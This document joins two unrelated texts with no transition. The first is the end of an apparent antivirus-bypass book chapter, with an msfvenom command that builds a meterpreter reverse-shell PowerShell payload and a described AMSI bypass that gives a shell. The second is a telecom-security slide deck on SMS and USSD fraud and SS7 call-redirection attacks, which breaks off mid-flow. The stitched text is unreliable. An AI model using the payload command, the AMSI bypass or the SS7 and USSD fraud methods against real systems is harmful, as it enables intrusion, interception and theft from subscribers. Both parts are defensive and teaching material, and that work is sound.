HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\
Appinit_Dlls
HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows\Appinit_Dlls
These registry keys can be used both as persistent and injection mechanisms. The fact that
malware can potentially manipulate registry keys by adding a malicious DLL provides it with
persistency within the system. In addition, it can also be used as an injection mechanism
because the malicious DLL that is loaded using the previously-mentioned registry keys is in
fact injected or loaded into any process in the system that loads the standard User32.dll.
Just imagine the impact and the power of such an injection and persistence ability.
We recommend that antivirus vendors implement in their detection engines the capability
of detecting malware that executes registry manipulation operations using functions such
as RegCreateKey and RegSetValue.
Behavior-based detection
As the name suggests, behavior-based detection can be very useful to detect anomalous
or suspicious activities. Examples of anomalous behavior might include the following:
• A process such as Notepad.exe or Explorer.exe executing strange command-
line arguments or initiating network connections to an external destination
• Processes such as svchost.exe or rundll32.exe running without
command-line arguments
• Unexpected processes such as PowerShell.exe, cmd.exe, cscript.exe,
or wmic.exe
Improving antivirus detection 207
File-based detection
Antivirus vendors can implement a minifilter driver in order to achieve file-based detection.
We recommend scanning files before execution, at load time. Scan for suspicious
indicators and alteration operations before execution begins. For instance, an antivirus
engine can detect the creation of sections in targeted files.
To summarize, detecting process injection is not an easy task, especially not for antivirus
vendors. It is crucial to use as many detection capabilities as possible and even correlate
their results in order to achieve the best possible detection with fewer false positives.
Let's now discuss and understand script-based malware detection with AMSI.
Script-based malware detection with AMSI
In this section, we will go through the use of AMSI in different antivirus software to detect
script-based malware that utilizes PowerShell, VBA Macros, and more.
AMSI – Antimalware Scan Interface
AMSI is a feature or interface that provides additional antimalware capabilities. Antivirus
engines can use this interface to scan potentially malicious script files and fileless malware
scripts that run at the runtime memory level.
AMSI is integrated into various Windows components, such as the following:
• Windows User Account Control (UAC)
• PowerShell
• wscript.exe and cscript.exe
• JavaScript and VBScript
• Office VBA macros
By using Microsoft's AMSI, it is possible to detect potential malicious events such as the
execution of malicious VBScript, PowerShell, VBA macros, and others.
208 Best Practices and Recommendations
Here is an overview of Microsoft's AMSI internals:
Figure 8.14 – AMSI internals architecture
As seen here, several functions are exposed for use by third-party applications. For
example, antivirus engines can call functions such as AmsiScanBuffer() and
AmsiScanString() to scan for malicious content in each file and fileless script-based
malware before execution takes place. If AMSI detects that the script is malicious using
these functions, it will halt execution.
AMSI – malware detection example
To better understand AMSI, the following example will demonstrate its capability of
detecting script-based malware.
Here, we used a simple, non-obfuscated meterpreter shell generated in a PowerShell
format with the following msfvenom command:
msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.1.10 LPORT=443 --arch x64 --platform win -f psh
-o msf_payload.ps1
After we executed the script and Windows Defender, AMSI caught our simple PowerShell
payload. Here is a screenshot of AMSI detecting the msfvenom based malware:
Improving antivirus detection 209
Figure 8.15 – AMSI detects the PowerShell-based MSF payload
As seen here, PowerShell threw an exception alerting us that the file contained
malicious content.
We can also monitor for these types of events in Windows event logs, using the
%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Windows
Defender%4Operational.evtx event log file, which contains several event IDs
such as 1116 (MALWAREPROTECTION_STATE_MALWARE_DETECTED) and 1117
(MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN), which are triggered by
an attempt to execute this type of payload.
The following screenshot demonstrates the event log entry for our PowerShell payload
based on event ID 1116:
Figure 8.16 – AMSI detection log based on Event ID 1116
210 Best Practices and Recommendations
And here is the entry based on event ID 1117:
Figure 8.17 – AMSI detection log based on Event ID 1117
Now that we understand the concept and usage of AMSI, let's see how to bypass it.
AMSI bypass example
We often like to say, "To bypass security is to strengthen security." Of course, this also
applies to AMSI bypassing.
The following example uses the same PowerShell script that we tried to execute in the
previous example, but with a slight difference. Based on an awesome project called AMSI.
fail (https://github.com/Flangvik/AMSI.fail), we copied the generated
code from the website, which we can of course also obfuscate to harden the detection, and
pasted it into the PowerShell console to demonstrate an in-memory-like execution:
Figure 8.18 – The bypass payload used from AMSI.fail
Secure coding recommendations 211
Next, we executed the previous reverse-shell payload and got a full meterpreter shell:
Figure 8.19 – The gained shell after the bypass has been executed
On the left side, you can see the meterpreter shell, and on the right side, you can see the
msf payload run on PowerShell.
We recommend that antivirus vendors implement this capability, investing extensive
time and consideration in it if possible. Relying solely on AMSI is obviously not a good
practice, but as an additional capability in our arsenal, it can add tremendous value to
antivirus engines.
Malware-based attacks are always evolving and emerging, especially the first stages of
malware attacks that are delivered and executed through the use of scripts, whether
through the command line, PowerShell, VBA macros, VBScript, HTA files, or other
interesting and out-of-the-box methods.
Let's now go through some secure code tips and recommendations.
Secure coding recommendations
Because antivirus software is a product that is by definition providing some level of
security to endpoints, writing secure code is essential. We can learn from history that
there are plenty of security vulnerabilities out there that can be used by malicious threat
actors in the wild, which is why antivirus software vendors must put in their best effort
to make their antivirus software more secure, plan their code securely, implement best
practices, and always follow industry guidelines and recommendations.
Here are our secure code development recommendations to help improve your overall
antivirus software security.
212 Best Practices and Recommendations
Self-protection mechanism
The most basic recommendation for any antivirus software vendor is to ensure that you
have applied a self-protection mechanism to your own product.
Most antivirus software applies some level of self-protection to make it difficult for
security researchers or threat actors to exploit vulnerabilities in the antivirus software
itself. If your antivirus software does not, this recommendation is an absolute must at the
earliest possible opportunity.
Plan your code securely
To avoid the need for future software updates and patching to your antivirus software to
the greatest extent possible, it is crucial to plan your antivirus software with an emphasis
on secure coding, by following best practices and methodological procedures.
This involves mapping all possible vulnerabilities that could be exploited in your product,
as well as mapping all possible secure code solutions for those vulnerabilities. This ensures
that your product will not be susceptible to potential future exploits.
It is very important to work methodically, using predefined procedures that can be
modified if needed.
Do not use old code
With time, antivirus vendors need to advance with their antivirus products, thus
advancing with their code. It is very important to regularly update the code and also delete
old code. The odds of exploiting a vulnerability or even chaining several of them because
of old code implementations are high.
You can always archive the code in some other secure place if you have a good reason
for this.
Input validation
As we have seen earlier in this section, it is essential to apply input validation at any point
in your code that expects input from the user or any other third parties such as API calls
(not necessarily Windows API calls), loaded DLL, network packets received, and more.
By doing this, we can prevent the possibility of malicious input from users, third parties,
or even fuzzers, which could lead to denial of service or remote code execution attacks,
which could ultimately be used to bypass the antivirus software.
Secure coding recommendations 213
PoLP (Principle of Least Privilege)
As we have discussed in previous chapters of this book, antivirus software vendors should
manage the privileges of each antivirus component so it cannot be misused or exploited
by the user or any other third-party actor. Be sure to use proper permissions for each
file (exe, dll, and so on), process, and any other principle or entity that can inherit
permissions, without providing more permissions than are needed. This can, in turn,
prevent low-privileged users from excluding a file or process that is actually malicious.
Compiler warnings
This simple yet very effective trick will ensure that the compiler warns you when using
potentially vulnerable functions such as strcat(), strcpy(), and so on. Be sure
to configure the highest level of warnings. Simply put, the more time you invest at the
beginning of the software development life cycle (SDLC), the less time you will need to
invest in patching your code afterward.
Automated code testing
Implement automation mechanisms to test and validate your code against potentially
vulnerable functions, imports, and other frameworks. Two approaches to achieving more
secure and reliable code involve static testing, in which we test our code without executing
and debugging it, and dynamic testing, which involves executing and debugging the code's
functionality. We recommend a hybrid approach drawing on aspects of both.
Wait mechanisms – preventing race conditions
To avoid race condition vulnerabilities in your antivirus software, which can lead to
invalid and unpredictable execution and in some cases, permit feasible antivirus bypass,
use a "wait mechanism". This will ensure that the program waits for one asynchronous
operation to end its execution so that the second asynchronous operation can continue.
Integrity validation
When antivirus software downloads its static signature file (to update its static signature
database), be sure to apply some type of integrity validation mechanism on the
downloaded file. For instance, you can calculate the designated hash of the downloaded
file. This mechanism prevents situations where a security researcher or threat actor might
perform manipulations on the file, swapping the static signature with another file to
bypass the static antivirus detection engine.
In this section, we learned about ways of protecting our code against potential abuse.
214 Best Practices and Recommendations
Summary
To summarize this chapter of the book, antivirus bypasses will always be relevant for a
variety of reasons, such as the following:
• Code that is not written securely
• A component that does not work properly.
In this chapter, you have gained knowledge and understanding of the importance of
securing antivirus software from vulnerability and detection-based bypassed.
In order to protect antivirus engines from bypasses, it is first necessary to perform and
test bypass attempts, in order to know exactly where the security vulnerability is located.
Once the security vulnerability is found, a fix must be implemented so attackers cannot
exploit the vulnerability. Of course, antivirus code must be regularly maintained, because
from time to time more vulnerabilities can arise and be found.
These recommendations are based on our research and extensive tests conducted over a
number of years that are also based on major antivirus software vulnerabilities that have
been publicly disclosed in the last 10 years.
We want to thank you for your time and patience reading this book and gaining the
knowledge within. We hope that knowledge will be used for the purpose of making the
world a more secure place to live in.
We are here to say that antivirus is not a 100% bulletproof solution.
Packt.com
Subscribe to our online digital library for full access to over 7,000 books and videos, as
well as industry leading tools to help you plan your personal development and advance
your career. For more information, please visit our website.
Why subscribe?
• Spend less time learning and more time coding with practical eBooks and Videos
from over 4,000 industry professionals
• Improve your learning with Skill Plans built especially for you
• Get a free eBook or video every month
• Fully searchable for easy access to vital information
• Copy and paste, print, and bookmark content
Did you know that Packt offers eBook versions of every book published, with PDF and
ePub files available? You can upgrade to the eBook version at packt.com and as a print
book customer, you are entitled to a discount on the eBook copy. Get in touch with us at
[email protected] for more details.
At www.packt.com, you can also read a collection of free technical articles, sign up for
a range of free newsletters, and receive exclusive discounts and offers on Packt books and
eBooks.
216 Other Books You May Enjoy
Other Books You
May Enjoy
If you enjoyed this book, you may be interested in these other books by Packt:
Mastering Palo Alto Networks
Tom Piens
ISBN: 978-1-78995-637-5
• Perform administrative tasks using the web interface and Command-Line Interface (CLI)
• Explore the core technologies that will help you boost your network security
• Discover best practices and considerations for configuring security policies
• Run and interpret troubleshooting and debugging commands
• Manage firewalls through Panorama to reduce administrative workloads
• Protect your network from malicious traffic via threat prevention
Why subscribe? 217
Okta Administration: Up and Running
Lovisa Stenbäcken Stjernlöf, HenkJan de Vries
ISBN: 978-1-80056-664-4
• Understand different types of users in Okta and how to place them in groups
• Set up SSO and MFA rules to secure your IT environment
• Get to grips with the basics of end-user functionality and customization
• Find out how provisioning and synchronization with applications work
• Explore API management, Access Gateway, and Advanced Server Access
• Become well-versed in the terminology used by IAM professionals
218 Other Books You May Enjoy
Packt is searching for authors like you
If you're interested in becoming an author for Packt, please visit authors.
packtpub.com and apply today. We have worked with thousands of developers and
tech professionals, just like you, to help them share their insight with the global tech
community. You can make a general application, apply for a specific hot topic that we are
recruiting an author for, or submit your own idea.
Leave a review - let other readers know what
you think
Please share your thoughts on this book with others by leaving a review on the site that
you bought it from. If you purchased the book from Amazon, please leave us an honest
review on this book's Amazon page. This is vital so that other potential readers can see
and use your unbiased opinion to make purchasing decisions, we can understand what
our customers think about our products, and our authors can see your feedback on the
title that they have worked with Packt to create. It will only take a few minutes of your
time, but is valuable to other potential customers, our authors, and Packt. Thank you!
Index
A
Address Space Layout Randomization
(ASLR) 42, 191
Advanced Persistent Threat (APT) 77
American National Standards
Institute (ANSI) 67
Android Package Kit (APK) file 98
Antimalware Scan Interface (AMSI)
about 207
bypass example 210, 211
malware detection example 208, 209
script-based malware detection 207
AntiScan.Me
reference link 62
antivirus
basics 8-11
antivirus bypass
binary patching, using 144,
154, 156, 157
in nutshell 11, 12
junk code, using 159, 160
PowerShell, using 161, 164, 166, 167
preparation 56
research, tips 57
using, dynamic-link library
(DLL) 81, 83, 84
using, process-injection 63
using, timing-based techniques 85
Windows API calls 86, 88, 89
with encryption 117
with obfuscation techniques 98
with packers 121
antivirus bypass dedicated vulnerabilities
avoiding 189
DLL hijacking vulnerability,
avoiding 189
Unquoted Service Path vulnerability,
avoiding 190, 191
antivirus detection, improving
about 192
detection, of process injection 197
dynamic YARA 192
script-based malware detection,
with AMSI 207
antivirus research
about 16
approaches 40
lead, defining 20
lead, gathering 16
process 17
registry 18, 19
thread 18
220 Index
work environment 16
antivirus software
about 7, 180
bypassing, in red team operation 179
fingerprinting 180-185
third-party engines 36
antivirus software, permission problems
about 47
improper privileges 47
static signature file, insufficient
permissions 47
application programming
interface (API) 60, 115
ASPack 134
assembly language 144
Autoruns
reference link 32
working with 32, 33
B
binary patching
using, for antivirus bypass
144, 154, 156, 157
buffer overflow
about 50
antivirus bypass approach 51
stack-based buffer overflow 51
types 50
buffer overflow, approaches
automated approach 50
manual approach 50
buffer overflow vulnerabilities, avoiding
about 191
Address Space Layout
Randomization (ASLR) 191
Data Execution Prevention (DEP) 191
fuzzing 192
memory boundary validation 191
reverse engineering 192
stack canaries 191
bypassed antivirus engines 172
C
calloc()
about 91, 92
versus malloc() 91, 92
central processing unit (CPU) 83, 137
classic DLL injection 71
command-and-control (C2/C&C) 10, 113
control-flow obfuscation 104, 105
CreateFile
execution flow 67-70
cybercriminals
goals 4
D
DAST (Dynamic Application
Security Testing) 192
Data Execution Prevention (DEP) 42, 191
Data Leak Prevention (DLP) 5
debugging technique 145
Detect it Easy (DiE) 122
disassembler 145
Discretionary Access Control
List (DACL) 45
Disk Operating System (DOS) 82, 107
DLL hijacking
about 49
vulnerability, avoiding 189
domain generation algorithm (DGA) 60
Domain Name System (DNS) 60
dynamic engine 9
Index 221
dynamic-link library (DLL) 121
used, for bypassing antivirus 81, 83, 84
dynamic YARA
about 192
benefits 192
malicious strings, hunting 193-197
E
encryption
using, in antivirus bypass 117
encryption, sub-techniques
metamorphic code 120
oligomorphic code 118
polymorphic code 118, 119
Endpoint Detection and
Response (EDR) 5, 140
Entropy 122
entry point (EP) 124
executable (EXE) file 107
Executable Linkable Format (ELF) 81
Extended Instruction Pointer
(EIP) 51, 133
F
fuzz testing 50
G
general-purpose registers (GPRs) 147
Graphical User Interface (GUI) 43
H
heuristic engine 10
hexadecimal (hex) 106
HyperText Transfer Protocol (HTTP) 60
I
Import Address Table (IAT) 133
Internet Protocol (IP) 58, 109
Intrusion Detection Systems (IDS) 5
Intrusion Prevention Systems (IPS) 5
J
Jotti’s malware scan
detections 62
reference link 61
junk code
about 159
using, for antivirus bypass 159, 160
K
Knowledge Base (KB) 57
L
last in, first out (LIFO) 146
Local Area Network (LAN) 179
M
Mach Object (Mach-O) 81
malicious software 5
malicious strings
hunting 193-197
malloc()
about 90
versus calloc() 91, 92
malware
about 5
defining 5
malware, types
222 Index
about 6, 7
Backdoor 6
Botnet 6
Downloader 6
Dropper 6
potentially unwanted program (PUP) 6
Ransomware 6
Rootkit 6
Scareware 6
Spyware 6
Trojan 6
Virus 6
Worm 6
memory bombing
about 90-95
calloc() 91, 92
malloc() 90
metamorphic code 120
multiple antivirus bypass techniques
combining 168, 169
executable before and after
peCloak example 169-171
N
Native API
versus Windows API 66, 67
Network Access Control (NAC) 5
Network Address Translation (NAT) 12
no operation (NOP) 120
O
obfuscation techniques
about 98
control-flow obfuscation 104, 105
rename obfuscation 99, 101, 103
using, in antivirus bypass 98
oligomorphic code 118
operation code (opcode) 106
original entry point (OEP) 121
P
packers
about 121
false positives 140, 141
using, in antivirus bypass 121
working 121
packers, unpacking process
about 121
ASPack, manually unpacking 134-139
UPX 122-127
UPX files, manually unpacking
127, 129, 130-134
packet capture (PCAP) 60
peCloak example
antivirus software, limitations 171
PE file
about 81
format structure 82
PE headers 82
penetration test (pentest) 178
PE sections 83
polymorphic code 118, 119
potentially unwanted program (PUP) 6
PowerShell
using, for antivirus bypass 161,
163, 164, 166, 167
process address space 64
process doppelgänging 75-77
Process Explorer tool
reference link 20
working with 20-26
process hollowing 72-74
process identifier (PID) 194
Index 223
process-injection
classic DLL injection 71
implementation 65
used by, threat actors 77, 78, 80
used, for bypassing antivirus 63
process injection, detection
about 197
behavior-based detection 206
file-based detection 207
flow-based detection 205
log-based detection 205, 206
registry-based detection 206
static-based detection 197-204
Process Monitor
reference link 26
working with 26, 28, 29, 30, 31
Process Monitor (ProcMon) 67
proof of concept (POC) 89, 116, 178, 193
protection rings
about 42
in Windows operating system 43-45
protection systems
DLP 7
EDR 7
exploring 7
Firewall 7
IDS/IPS 7
R
red team operation
about 178
antivirus software, bypassing 179, 180
Regshot
about 33
reference link 20
working with 33-36
rename obfuscation 99, 101, 103
Return-Oriented Programming
(ROP) 51, 191
reverse engineering
about 144, 145
Assembly x86 code examples 149-153
Assembly x86 commonly used
instructions 148, 149
Assembly x86 most commonly
used instructions 149
assembly x86 registers 147
heap 146
indexes and pointers 147
stack 146
S
sandbox 9
SAST (Static Application
Security Testing) 192
script-based malware detection
with AMSI 207
secure coding recommendations
about 211
automated code testing 213
code, planning securely 212
compiler warnings 213
input validation 212
integrity validation 213
old code, avoiding 212
PoLP (Principle of Least Privilege) 213
self-protection mechanism 212
wait mechanisms 213
security landscape 4, 5
Security Operations Center (SOC) 205
Server Message Block (SMB) 179
software development life
cycle (SDLC) 213
stack 146
224 Index
stack-based buffer overflow 51
static engine 8
Structured Exception Handling
Overwrite Protection (SEHOP) 42
Sysinternals suite
reference link 20
Sysmon (System Monitor) 205
T
threat actors
process-injection, used by 77-80
timestomping 157, 158
Transmission Control Protocol
(TCP) 60, 109
Turbo Assembler (TASM)
download link 152
U
Uniform Resource Locator (URL) 58
Universal Serial Bus (USB) 178
unpacker engine 11
unpackers 11
Unquoted Service Path vulnerability
about 48
avoiding 190, 191
reference link 48
User Account Control (UAC) 207
V
VirScan
reference link 61
VirusTotal
about 58-60
URL 58
VirusTotal Jujubox 59
Visual Basic for Applications (VBA) 108
W
Windows access control list 45, 46
Windows API
about 66
calls, for antivirus bypass 86, 88, 89
CreateFile, execution flow 67-70
need for 66
versus Native API 66, 67
Windows Management
Instrumentation (WMI) 182
Windows operating system
about 40- 42
protection rings 43-45
Y
Yet Another Recursive Acronym (YARA)
about 105
building blocks 105, 107
bypassing 109
Emotet downloader 108, 109
Locky ransomware 107
potential malware, detecting 105
static engine bypass 109-116 | pdf |
Dmitry Kurbatov
Sergey Puzankov
Vladimir Kropotov
Fractured Backbones –
Incidents Detection and
Forensics in Telco Networks
ptsecurity.com
About us
Joint research of Incident Response and Telco Security Teams
Introduction
Technologies behind telco networks
Чем мы пользуемся сегодня
и на основе каких технологий
это работает
Types of Incidents
• Subscriber location tracking
• Call interception (wiretapping)
• SMS interception and spoofing
• DoS, including balance DoS
• Other Fraudulent activities
Phone number
+7 777 5555555
GPS location
Incidents statistics. Major threats
Service Disruption
Data Leakage
Fraud
Percentage of vulnerable networks
Incidents statistics. Data leakage
Subscriber’s Balance Disclosure
Terminating SMS Interception
Subscriber Location Discovery
Voice Call Interception
Subscriber’s Data Leakage
Percentage of vulnerable networks
Incidents statistics. Fraud
Terminating Call Redirection
Money Transfer via USSD
Subscriber Profile Change
Originating Call Redirection
Percentage of vulnerable networks
Incident victims
• Mobile operator subscribers
• Mobile operator
• Other Mobile operators and their subscribers
• Third parties (often Banks and Their clients)
Prerequisites of attacks
• Internal intruder or Staff initiated attacks
• Level0 (almost) Kiddies - attacks that not require deep
technical knowledge
•SMS fraud as preliminary stage of malware based attacks
•Fraud with social engineering (direct target is victim)
•Proxified fraud with social engineering
• Level1(Locally initiated) - attacks that require technical
knowledge about Radio Access Network protocols
•IMSI Catcher
•Bluetooth
•Calls and SMS from the subscriber located nearby
•Level2 (Global impact) - attacks that require
technical knowledge about telco infrastructure and
protocols
Lightweight scenarios (Level0)
Kiddies fraud examples Typosquatting works well even here
http://journal.tinkoff.ru/declined/
Not legit
Legit
You received
30000 RUB,
please follow
the link for
confirmation
Purchase. Card
*1234. Ammount
600 RUB.
Drugstore
2000…
Available
balance
82634.32 RUB
Central bank not only in emails...
Mature player and kiddies
used the same brand name
http://www.rbc.ru/finances/17/03/20
16/56e97c089a794797e5b8e6b3
/Cental Bank of
Russian Federation/
Your banking cards
accounts was
suspended!
Info: +79649910054
Social engineering telco staff
• Temporary redirect calls and
SMS to another number
• Own victim email, social
networks accounts,
messengers and in some
cases Money (Banking OTP
TBD)
• Fast WIN
Cases (Level1)
SMS interception
Voice call interception
• Originating call
• Terminating call
Voice call interception. MitM
Level2 Cases (global impact)
Telco infrastructure, technical view
Telco infrastructure, technical view
Telco infrastructure, technical view
Telco infrastructure, technical view
IMSI Disclosure
Money fraud cases
•Infect smartphone with malware.
•Use fake base station (IMSI catcher) and to make software
clone of SIM card.
•Conduct an attack via SS7 network forging USSD request.
USSD manipulation
Request the balance *100#. Balance is 128.55 Roubles
USSD manipulation
*145*xxxxxx81142*10# - Transfer 10 Roubles to the number xxxxxx81142
USSD manipulation
Cool security mechanism. Just send *145*851# to confirm the transaction
USSD manipulation
New balance is 118.55 Roubles. (10 Roubles ~ 0.15 €)
Calls or SMS on behalf particular person located anywhere
• SMS spoofing
More sophisticated attacks
Example
Voice call redirection with a fraudulent activity
Fraud case 1
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
InitialDP (B-Number, 5312345678)
ApplyCharging, Continue
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
ApplyCharging, Continue
IAM (A-Number, 5312345678)
Number 88612345670
IMSI 466901234567891
InitialDP (B-Number, 5312345678)
Zimbabwe
Cuba
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
ApplyCharging, Continue
IAM (A-Number, 5312345678)
Who pays?
Number 88612345670
IMSI 466901234567891
InitialDP (B-Number, 5312345678)
Zimbabwe
Cuba
Who pays?
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
ApplyCharging, Continue
IAM (A-Number, 5312345678)
Number 88612345670
IMSI 466901234567891
InitialDP (B-Number, 5312345678)
Zimbabwe
Cuba
Who pays?
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
SendRoutingInfo (CFU, 5312345678)
RegisterSS (IMSI, CFU, 5312345678)
RegisterSS
ApplyCharging, Continue
IAM (A-Number, 5312345678)
Number 88612345670
IMSI 466901234567891
InitialDP (B-Number, 5312345678)
Zimbabwe
Cuba
Voice call redirection with a fraudulent activity
Fraud case 2
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
26121456789
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
SendRoutingInfo (MSRN = 5312345678)
Number 88612345670
IMSI 466901234567891
Zimbabwe
Voice call redirection with a fraudulent activity
Billing
GMSC
HLR
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
SendRoutingInfo (MSRN = 5312345678)
IAM (A-Number, 5312345678)
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Cuba
Who pays?
Billing
GMSC
HLR
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
